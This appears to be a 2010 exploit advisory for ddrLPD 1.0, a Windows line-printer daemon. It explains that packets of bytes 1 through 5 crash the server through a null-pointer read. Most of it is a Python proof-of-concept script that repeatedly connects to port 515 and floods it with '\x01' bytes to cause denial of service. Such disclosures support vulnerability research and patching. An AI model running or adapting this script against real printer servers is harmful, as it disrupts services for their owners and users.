ddrLPD 1.0 Denial Of Service

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# $$ | Plastics Make It Possible #  
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#==================================================================================================#  
# #  
# Vulnerability............Denial-of-Service #  
# Software.................ddrLPD 1.0 #  
# Download.................http://ddr.web.id/files/ddrLPDsetup.exe #  
# Date.....................4/29/10 #  
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#==================================================================================================#  
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# Site.....................http://cross-site-scripting.blogspot.com/ #  
# [email protected] #  
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#==================================================================================================#  
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# ##Description## #  
# #  
# Sending packets composed of bytes between 1 and 5 (inclusive) causes the the server to crash. #  
# #  
# ddrlpd.exe: The instruction at 0x50431A referenced memory at 0x0. The memory could not be read #  
# (0x0050431A -> 00000000) #  
# #  
# ##Proof of Concept## #  
import socket  
host ='localhost'  
  
try:  
while 1:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, 515))  
s.settimeout(1.0)  
  
print 'connected',  
  
try:  
while 1:   
s.send('\x01'*8192)  
print '.',  
except Exception:  
print '\nconnection closed'  
pass  
  
except Exception:  
print 'couldn\'t connect'  
`